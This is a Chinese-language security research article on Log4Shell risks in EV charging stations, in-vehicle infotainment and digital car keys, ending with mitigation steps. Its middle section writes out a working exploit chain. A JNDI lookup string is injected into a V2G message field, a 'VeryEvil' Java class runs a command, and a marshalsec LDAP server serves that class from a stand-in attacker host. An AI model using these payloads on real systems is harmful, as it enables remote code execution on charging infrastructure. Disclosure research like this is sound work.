檢視連網汽車與充電站的 Log4j 漏洞

Apache Log4j 這個遠端程式碼執行 (RCE) 漏洞自從2021 年 12 月 9 日正式曝光以來已經累積了大量的相關文章，這現象確實反映出它的衝擊範圍。因為，有無數的應用程式在未修改其程式碼的狀況下直接使用了這個函式庫來產生記錄檔。這表示此漏洞的可攻擊面極為廣大，包括：Amazon、Apple、Cloudflare、Google、Tencent、Twitter 以及許多其他知名廠商都曾經是潛在的攻擊目標。不僅如此，這個被稱為「Log4Shell」的漏洞甚至還影響到一些嵌入式裝置。在這份報告中，我們將仔細探討車用裝置或配備所存在的 Log4j 漏洞，尤其是充電設備、車用資訊娛樂系統 (IVI)，以及控制車門開關的「數位」遙控器。

推薦閱讀:

車輛充電設備的風險

在歐洲，所謂的「車輛到電網」(V2G) 的系統已經開始出現，這類系統可讓車輛電池內儲存的電力重新輸送到電網來滿足電力的需求。

圖 1：簡單的 V2G 基礎設施示意圖。圖片來源：Automobile Propre

一套 V2G 系統至少包含兩個部分：

一台可充電的電動車 (PEV)，也就是含有充電控制器或電子控制單元 (ECU) 的車輛。
一套電動車供電設備 (EVSE)，也就是充電站。

除了這兩部分之外，V2G 充電站還會連接到後端的 Open Charge Point Protocol (OCPP) 充電站網路通訊協定。

雖然有關該領域的報告非常稀少，但還是有一些值得在這裡討論的資安議題。其中之一就是 V2GInjector，這是一個專門用來滲透 V2G 網路，進而攻擊電動車和充電站的工具。更重要的是，此工具利用了一個 HomePlug Green PHY 家用電力線網路標準中的漏洞，可讓駭客蒐集網路金鑰、入侵個別網路，然後發動中間人 (MitM) 攻擊，在充電設備與車輛之間注入假的資料。這不僅可能導致一些詐騙，還可能引來針對充電設備的攻擊，這些設備大多使用一些複雜的作業系統 (OS)。有關這類攻擊的貼文指出，某些 Secure Shell (SSH) 和網站連線可能遭駭客利用，在充電設備上執行一個指令列介面 (shell)，例如經由網站路徑瀏覽漏洞，或者破解一些強度不高的系統管理員 (root) SSH 密碼。不過，在 Log4Shell 漏洞 (CVE-2021-44228) 和其他兩個 Log4j 漏洞 (CVE-2021-45046 與 CVE-2021-45105) 被揭露之後，駭客或許更容易利用 V2G 系統中的 Java 軟體來駭入充電設備和電動車。

以下，我們將使用 RISE-V2G 這個工具來測試我們的假設，RISE-V2G 是一個 Eclipse 專案，RISE-V2G 這個名稱的意義是「支援 V2G 演進的參考實作」，其原本的用意是要提供一套符合開放原始碼標準的實作與文件以供測試用途，但目前其支援已經終止。隨後 V2G Clarity 接手了這項專案，繼續從事有關商業化的教育訓練，並協助大眾了解這項通訊協定。

雖然 RISE-V2G 在今日看來有點過時，但我們發現有人不僅將它用於概念驗證環境，而且還打算將它用於最終產品。不僅如此，還有一個名為「Joint Operating system for Seamless EV charging (Josev)」的公開專案 (旨在成為充電站的大腦) 似乎也採用了這套實作 (請參閱它的 GitHub 網頁說明)。我們無法確切得知 Josev 是否採用了 RISE-V2G 的整套程式碼，但其作者似乎已經在 RISE-V2G 投注了不少心力。

所以，RISE-V2G 框架對我們來說，似乎是個充電站使用 Java 程式碼的完美研究範例，我們可以找出它可能如何遭到攻擊，然後對外公開。不過，首先，我們必須檢查一下這個框架是否用到 Log4j 函式庫。在複製了整個專案之後，我們發現利用以下「grep」指令就可搜尋到許多除錯用的 Log4j 程式碼：

$ grep -ir “log4j”
RISE-V2G-EVCC/src/main/java/com/v2gclarity/risev2g/evcc/evController/DummyEVController.java:import org.apache.logging.log4j.LogManager;
RISE-V2G-EVCC/src/main/java/com/v2gclarity/risev2g/evcc/evController/DummyEVController.java:import org.apache.logging.log4j.Logger;
RISE-V2G-EVCC/src/main/java/com/v2gclarity/risev2g/evcc/session/V2GCommunicationSessionHandlerEVCC.java:import org.apache.logging.log4j.LogManager;
RISE-V2G-EVCC/src/main/java/com/v2gclarity/risev2g/evcc/session/V2GCommunicationSessionHandlerEVCC.java:import org.apache.logging.log4j.Logger;
RISE-V2G-EVCC/src/main/java/com/v2gclarity/risev2g/evcc/transportLayer/StatefulTransportLayerClient.java:import org.apache.logging.log4j.LogManager;
RISE-V2G-EVCC/src/main/java/com/v2gclarity/risev2g/evcc/transportLayer/StatefulTransportLayerClient.java:import org.apache.logging.log4j.Logger;
RISE-V2G-EVCC/src/main/java/com/v2gclarity/risev2g/evcc/transportLayer/UDPClient.java:import org.apache.logging.log4j.LogManager;
RISE-V2G-EVCC/src/main/java/com/v2gclarity/risev2g/evcc/transportLayer/UDPClient.java:import org.apache.logging.log4j.Logger;
RISE-V2G-EVCC/src/main/resources/log4j2.xml:<!– see http://logging.apache.org/log4j/2.x/manual/configuration.html –>
RISE-V2G-SECC/target/classes/log4j2.xml:<!– see http://logging.apache.org/log4j/2.x/manual/configuration.html –>
[…]

為了搞清楚 RISE-V2G 的運作和使用方式，我們架設了一個小型環境來模擬電動車 (EV) 和電動車供電設備 (EVSE) 之間的 V2G 通訊。在這之前，我們得先將整個專案重新編譯，然後啟動以下兩個應用程式：

RISE-V2G-SECC/target/rise-v2g-secc-1.2.6.jar 模擬供電設備
RISE-V2G-EVCC/target/rise-v2g-evcc-1.2.6.jar 模擬電動車

接下來就能在供電設備通訊控制器 (SECC)/EVSE 端蒐集到一些記錄檔：

[…]
?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes”?><ns6:V2G_Message xmlns:ns6=”urn:iso:15118:2:2013:MsgDef” xmlns:ns5=”http://www.w3.org/2000/09/xmldsig#” xmlns:ns7=”urn:iso:15118:2:2013:MsgBody” xmlns:ns2=”urn:iso:15118:2:2010:AppProtocol” xmlns:ns4=”urn:iso:15118:2:2013:MsgDataTypes” xmlns:ns3=”urn:iso:15118:2:2013:MsgHeader”><ns6:Header><ns3:SessionID>E00A10527F79E3FF</ns3:SessionID></ns6:Header><ns6:Body><ns7:ChargingStatusRes><ns7:ResponseCode>OK</ns7:ResponseCode><ns7:EVSEID>DE*V2G*E12345</ns7:EVSEID><ns7:SAScheduleTupleID>1</ns7:SAScheduleTupleID><ns7:MeterInfo><ns4:MeterID>1</ns4:MeterID><ns4:MeterReading>32000</ns4:MeterReading><ns4:TMeter>1639589001</ns4:TMeter></ns7:MeterInfo><ns7:ReceiptRequired>false</ns7:ReceiptRequired><ns7:AC_EVSEStatus><ns4:NotificationMaxDelay>0</ns4:NotificationMaxDelay><ns4:EVSENotification>None</ns4:EVSENotification><ns4:RCD>false</ns4:RCD></ns7:AC_EVSEStatus></ns7:ChargingStatusRes></ns6:Body></ns6:V2G_Message>
2021-12-15T18:23:21,088 DEBUG [ConnectionThread fe80:0:0:0:40**:*****:****:8f21%2] EXIficientCodec:EXI encoded ChargingStatusRes:809802380284149FDE78FFD0C0003D1114A958C91CA914C4C8CCD0D400080662080FA01222727A23418000000000
2021-12-15T18:23:21,088 DEBUG [ConnectionThread fe80:0:0:0:40**:*****:****:8f21%2] EXIficientCodec:Base64 encoded ChargingStatusRes: gJgCOAKEFJ/eeP/QwAA9ERSpWMkcqRTEyMzQ1AAIBmIID6ASInJ6I0GAAAAAAA==
2021-12-15T18:23:21,088 DEBUG [ConnectionThread fe80:0:0:0:40**:*****:****:8f21%2] ConnectionHandler:Message sent
2021-12-15T18:23:21,088 DEBUG [ConnectionThread fe80:0:0:0:40**:*****:****:8f21%2] V2GCommunicationSessionSECC:New state is ForkState
2021-12-15T18:23:21,090 DEBUG [ConnectionThread fe80:0:0:0:40**:*****:****:8f21%2] ConnectionHandler:Length of V2GTP payload in bytes according to V2GTP header:13
2021-12-15T18:23:21,090 DEBUG [ConnectionThread fe80:0:0:0:40**:*****:****:8f21%2] ConnectionHandler:Message received
2021-12-15T18:23:21,090 DEBUG [ConnectionThread fe80:0:0:0:40**:*****:****:8f21%2] EXIficientCodec:Received EXI stream:809802380284149FDE78FFD0B0
2021-12-15T18:23:21,091 DEBUG [ConnectionThread fe80:0:0:0:40**:*****:****:8f21%2] EXIficientCodec:XML representation of ChargingStatusReq:
<?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes”?><ns6:V2G_Message xmlns:ns6=”urn:iso:15118:2:2013:MsgDef” xmlns:ns5=”http://www.w3.org/2000/09/xmldsig#” xmlns:ns7=”urn:iso:15118:2:2013:MsgBody” xmlns:ns2=”urn:iso:15118:2:2010:AppProtocol” xmlns:ns4=”urn:iso:15118:2:2013:MsgDataTypes” xmlns:ns3=”urn:iso:15118:2:2013:MsgHeader”><ns6:Header><ns3:SessionID>E00A10527F79E3FF</ns3:SessionID></ns6:Header><ns6:Body><ns7:ChargingStatusReq/></ns6:Body></ns6:V2G_Message>
2021-12-15T18:23:21,091 DEBUG [ConnectionThread fe80:0:0:0:40**:*****:****:8f21%2] V2GCommunicationSessionSECC:New state is WaitForChargingStatusReq
2021-12-15T18:23:21,091 DEBUG [ConnectionThread fe80:0:0:0:40**:*****:****:8f21%2] WaitForChargingStatusReq:ChargingStatusReq received
2021-12-15T18:23:21,091 DEBUG [ConnectionThread fe80:0:0:0:40**:*****:****:8f21%2] WaitForChargingStatusReq:Preparing to send ChargingStatusRes
2021-12-15T18:23:21,091 DEBUG [ConnectionThread fe80:0:0:0:40**:*****:****:8f21%2] EXIficientCodec:XML representation of ChargingStatusRes:
<?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes”?><ns6:V2G_Message xmlns:ns6=”urn:iso:15118:2:2013:MsgDef” xmlns:ns5=”http://www.w3.org/2000/09/xmldsig#” xmlns:ns7=”urn:iso:15118:2:2013:MsgBody” xmlns:ns2=”urn:iso:15118:2:2010:AppProtocol” xmlns:ns4=”urn:iso:15118:2:2013:MsgDataTypes” xmlns:ns3=”urn:iso:15118:2:2013:MsgHeader”><ns6:Header><ns3:SessionID>E00A10527F79E3FF</ns3:SessionID></ns6:Header><ns6:Body><ns7:ChargingStatusRes><ns7:ResponseCode>OK</ns7:ResponseCode><ns7:EVSEID>DE*V2G*E12345</ns7:EVSEID><ns7:SAScheduleTupleID>1</ns7:SAScheduleTupleID><ns7:MeterInfo><ns4:MeterID>1</ns4:MeterID><ns4:MeterReading>32000</ns4:MeterReading><ns4:TMeter>1639589001</ns4:TMeter></ns7:MeterInfo><ns7:ReceiptRequired>false</ns7:ReceiptRequired><ns7:AC_EVSEStatus><ns4:NotificationMaxDelay>0</ns4:NotificationMaxDelay><ns4:EVSENotification>None</ns4:EVSENotification><ns4:RCD>false</ns4:RCD></ns7:AC_EVSEStatus></ns7:ChargingStatusRes></ns6:Body></ns6:V2G_Message>
2021-12-15T18:23:21,092 DEBUG [ConnectionThread fe80:0:0:0:40**:*****:****:8f21%2] EXIficientCodec:EXI encoded ChargingStatusRes:809802380284149FDE78FFD0C0003D1114A958C91CA914C4C8CCD0D400080662080FA01222727A23418000000000
[…]

我們將上述的初始化通訊整理成以下示意圖 (參見圖 2)。

經過一番研究之後，我們發現，我們其實可以使用下面這些編碼過的 V2G 訊息來觸發 Log4j：

# in RISE-V2G-Shared/src/main/java/com/v2gclarity/risev2g/shared/exiCodec/EXIficientCodec.java
[…]
public synchronized Object decodeEXI(byte[] exiEncodedMessage, boolean supportedAppProtocolHandshake) {
        getLogger().debug(“Received EXI stream:” + ByteUtils.toHexString(exiEncodedMessage));

        ByteArrayInputStream bais = new ByteArrayInputStream(exiEncodedMessage);
        setDecodedExi(decode(bais, supportedAppProtocolHandshake));

        return unmarshallToMessage(getDecodedExi());
    }
[…]

如上所示，我們其實還沒觸發弱點，所以我們必須進一步查看這些訊息是如何編碼，以及輸出到記錄檔中的內容：

# in ./RISE-V2G-Shared/src/main/java/com/v2gclarity/risev2g/shared/exiCodec/ExiCodec.java

[…]
    @SuppressWarnings(“rawtypes”)
    public void showXMLRepresentationOfMessage(Object message) {
        StringWriter sw = new StringWriter();
        String className = “”;

        if (message instanceof V2GMessage) {
            className = ((V2GMessage) message).getBody().getBodyElement().getName().getLocalPart();
        } else if (message instanceof JAXBElement) {
            className = ((JAXBElement) message).getName().getLocalPart();
        } else if (message instanceof SupportedAppProtocolReq) {
            className = “SupportedAppProtocolReq”;
        } else if (message instanceof SupportedAppProtocolRes) {
            className = “SupportedAppProtocolRes”;
        } else {
            className = “marshalled JAXBElement”;
        }

        try {
            getMarshaller().marshal(message, sw);
  getLogger().debug(“XML representation of ” + className + “:\n” + sw.toString());

        } catch (JAXBException e) {
            getLogger().error(e.getClass().getSimpleName() + ” occurred while trying to show XML representation of ” + className, e);
        }
    }
[…]

上面用底線標記的部分，看起來就是我們所要找的。這裡要說明一下，這段程式碼是 EVCC 電動車通訊控制器 (也就是車輛) 與 EVSE (也就是充電站) 之間是共用的。因此，在一個使用這段程式碼的車用模組上也能觸發。就我們所知，絕大多數車輛使用的電子控制單元 (ECU) 都是採用 C++ 程式碼撰寫，這是因為 ECU 架構大多跟 TriCore 微控制器架構一樣特殊。所以我們覺得至少應該可以在充電設備上找到這個漏洞。

還有一點值得注意的是車輛與充電設備之間的通訊使採用 Efficient XML Interchange (EXI) 方式編碼。我們特別製作了一個叫做「V2Gdecoder」的工具來執行 EXI 編碼與解碼。以下示範如何將 XML 資料編碼成 EXI 二進位內容：

$ java -jar target/V2Gdecoder-jar-with-dependencies.jar -x -s ‘<?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes”?><ns6:V2G_Message xmlns:ns6=”urn:iso:15118:2:2013:MsgDef” xmlns:ns5=”http://www.w3.org/2000/09/xmldsig#” xmlns:ns7=”urn:iso:15118:2:2013:MsgBody” xmlns:ns2=”urn:iso:15118:2:2010:AppProtocol” xmlns:ns4=”urn:iso:15118:2:2013:MsgDataTypes” xmlns:ns3=”urn:iso:15118:2:2013:MsgHeader”><ns6:Header><ns3:SessionID>E00A10527F79E3FF</ns3:SessionID></ns6:Header><ns6:Body><ns7:ChargingStatusReq/></ns6:Body></ns6:V2G_Message>’

809802380284149FDE78FFD0B0

不過為了觸發漏洞，我們需要知道 XML 資料中所用到的資料類型，並找到一個元素或屬性可以讓我們注入一個字串。我們很快地查看了它的 XML 結構定義 (XSD) 之後找到了「 ProtocolNamespace 」與其他值得注意的相關欄位：

[…]
<xs:element name=”ProtocolNamespace” type=”protocolNamespaceType”/>
<xs:element name=”VersionNumberMajor” type=”xs:unsignedInt”/>
<xs:element name=”VersionNumberMinor” type=”xs:unsignedInt”/>
<xs:element name=”SchemaID” type=”idType”/>
<xs:element name=”Priority” type=”priorityType”/>
</xs:sequence>
</xs:complexType>
<xs:simpleType name=”idType”>
<xs:restriction base=”xs:unsignedByte”/>
</xs:simpleType>
<xs:simpleType name=”protocolNameType”>
<xs:restriction base=”xs:string”>
[…]

最後，為了快速確認是否能夠觸發漏洞，我們使用 Canarytokens 服務製作了以下內容，該服務在 Log4Shell 漏洞揭露之後變得蠻熱門的：

<?xml version=”1.0″ encoding=”UTF-8″?><ns4:supportedAppProtocolReq xmlns:ns4=”urn:iso:15118:2:2010:AppProtocol” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xmlns:ns3=”http://www.w3.org/2001/XMLSchema”><AppProtocol><ProtocolNamespace>${jndi:ldap://x${hostName}.L4J.36gy1a*********qu.canarytokens.com/a}</ProtocolNamespace>VersionNumberMajor>2</VersionNumberMajor><VersionNumberMinor>0</VersionNumberMinor><SchemaID>10</SchemaID><Priority>1</Priority></AppProtocol></ns4:supportedAppProtocolReq

使用 Canarytokens 來產生金鑰相當方便，因為如果有觸發到漏洞的話，該服務還會發送通知給你。

接著我們使用 V2GInjector 框架來模擬一台假的 EVCC (也就是車輛) 然後針對初始化通訊發動攻擊，如圖 3 所示。

在 SECC 程序當中，該框架在我們 V2Gdecoder 的輔助下解碼了 XML 內容，然後透過車輛至電網通訊協定 (Vehicle-to-Grid Transfer Protocol，簡稱 V2GTP) 將它發送給 EVCC。假的 EVCC 接著將這段惡意內容發送出去，造成 SECC 應用程式當掉。最後，我們直接收到來自 Canarytokens 的通知，如圖 4 所示。

我們又再次發現可以利用 V2GInjector 的說明文件當中提到的 HomePlug Green Phy 金鑰蒐集漏洞來入侵 V2G 網路。

接下來我們又執行了一些程式碼並撰寫了一段「VeryEvil」漏洞攻擊程式來做進一步測試：

public class VeryEvil {
    static {
        try {
            String [] cmd={“touch /tmp/choucroute”};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }

}

打好這段 VeryEvil 程式碼之後，我們接著進行組譯：

$ javac VeryEvil.java
$ ls VeryEvil.*
VeryEvil.class VeryEvil.java

接下來，我們呼叫「marshalsec」工具來散播這個 Java 類別，並在 TCP 80 連接埠上架設一個網站伺服器來預設同步發送這個 Java 類別。

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://superevilhost#VeryEvil
Listening on 0.0.0.0:1389

java -jar target/V2Gdecoder-jar-with-dependencies.jar -x -s ‘<?xml version=”1.0″ encoding=”UTF-8″?><ns4:supportedAppProtocolReq xmlns:ns4=”urn:iso:15118:2:2010:AppProtocol” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xmlns:ns3=”http://www.w3.org/2001/XMLSchema”><AppProtocol><ProtocolNamespace>${jndi:ldap://superevilhost:1389/EvilObject}</ProtocolNamespace><VersionNumberMajor>2</VersionNumberMajor><VersionNumberMinor>0</VersionNumberMinor><SchemaID>10</SchemaID><Priority>1</Priority></AppProtocol></ns4:supportedAppProtocolReq>’
80017123DB53732349D363230B81D1797B9BAB832B932BB34B63437B9BA1D18999C1C97A2BB34B627B13532B1BA3E8020000280040

我們最後調整了一下 jndi 網址 (參見上面的程式碼) 在 V2G 通訊的過程中注入惡意程式碼。

車用資訊娛樂 (IVI) 系統遭駭客入侵的實際風險

在汽車產業，充電站並非唯一可能受此漏洞影響的攻擊目標。車用資訊娛樂系統 (IVI) 也可能遭遇到真實的威脅。

車輛的 IVI 系統使用了一種複雜的作業系統來呈現使用者介面，同時也提供了一個瀏覽器。使用者可在 IVI 系統上安裝 Twitter 和 Facebook 這類應用程式。IVI 系統可經由 2G/3G/4G/5G 行動網路通訊模組連上網際網路，所以如果它們也用到了 Java Log4j 函式庫，那就有可能遭到攻擊。事實上，在一份先前的研究中，我們發現有些 IVI 模組一直在使用舊版 (4.0.4) 的 Android 系統。

還有某個利用 Log4j 漏洞的攻擊案例證明了 Tesla 電動車也可能遭到攻擊，不過這起案例的消息來源並未透漏實際的攻擊過程。但這就意味著針對此漏洞的攻擊有可能危害使用者的隱私及車輛安全，因為如果後端系統遭到入侵，駭客就能對汽車下達一些動作，並提供韌體無線更新 (FOTA)。

數位車門鑰匙是否受 Log4Shell 漏洞影響？

現在有些車輛可以使用智慧型手機來取代車門遙控器，也就是所謂的「數位鑰匙」，甚至還可以操作車輛的某些功能。像這樣的應用也可能受到 Log4j 漏洞影響。一個稱為「 log4JFrida」的 Frida 腳本可以用來測試這項假設，它可以用來變更車輛的一些特性，進而觸發這個漏洞。

如何降低風險?

除了本文提到的三種現代化汽車裝置或配備之外，還有許多其他有待測試及密切關注的環節可能含有 Log4j 漏洞。其中之一就是伺服器對於各種測試的回應，以及許多其他可能讓駭客透過應用程式發送指令來解鎖車門、操控暖氣，或者讓歹徒執行其他功能的途徑。

截至目前為止，企業機構與資安專家都還在忙著徹底研究 Log4j 漏洞所帶來的衝擊。相信未來幾個禮拜還會出現更多研究報告來探討這些漏洞對於各種服務、裝置或應用程式的影響。另一方面，網路犯罪集團也正在趁著這段空窗期盡可能突襲更多受害者，其中之一就是那些還尚未修補 Log4j 漏洞的企業。

此漏洞的修補方式主要是將 Log4j 更新到 2.17.0 版本，此版本已經完全移除了訊息查詢的功能，可防止駭客修改 Log4j 的組態設定。不過，在絕大多數情況下，使用最新版的 Log4j 卻可能造成應用程式無法運作，比方說 RISE-V2G 就是一例。

還有另一個作法是在 Log4j 的設定檔內啟用「formatMsgNoLookups=true」這個設定，或者在執行 Log4j 時指定這項參數 (請參閱 LunaSec 的防範指南)：

java -Dlog4j2.formatMsgNoLookups=true …

此外，也可以完全停用記錄檔功能 (如果用不到此功能的話)。例如 RISE-V2G 的組態設定檔裡就有一個選項可以這麼做，只需關閉 EXI 和 XML 顯示即可：

# XML representation of messages
#——————————-
#
# Possible values:
# – true
# – false
# If this value is set to ‘true’, the EXICodec will print each message’s XML representation (for debugging purposes)
# If no correct value is provided here, ‘false’ will be chosen
exi.messages.showxml = false

# Hexadecimal and Base64 representation of messages
#————————————————–
#
# Possible values:
# – true
# – false
# If this value is set to ‘true’, the EXICodec will print each message’s hexadecimal and Base64 representation (for debugging purposes)
# If no correct value is provided here, ‘false’ will be chosen
exi.messages.showhex = false

我們製作了一個支援網頁來列出一些我們可協助您偵測及防範此漏洞的產品，以及有關我們產品是否受此漏洞影響的資訊。
此外，我們也開發了一個評估工具來協助您找出可能受到 Log4j 漏洞影響的應用程式和端點裝置。此工具也提供了有關漏洞攻擊面的完整檢視以及後續的防範步驟。

原文出處：Examining Log4j Vulnerabilities in Connected Cars and Charging Stations

檢視連網汽車與充電站的 Log4j 漏洞

車輛充電設備的風險

車用資訊娛樂 (IVI) 系統遭駭客入侵的實際風險

數位車門鑰匙是否受 Log4Shell 漏洞影響？

如何降低風險?

作者

參考資源

技術支援

關於趨勢

總部

參考資源

技術支援

關於趨勢

總部

美洲 (The Americas)

中東與非洲 (Middle East & Africa)

歐洲

亞太地區 (Asia Pacific)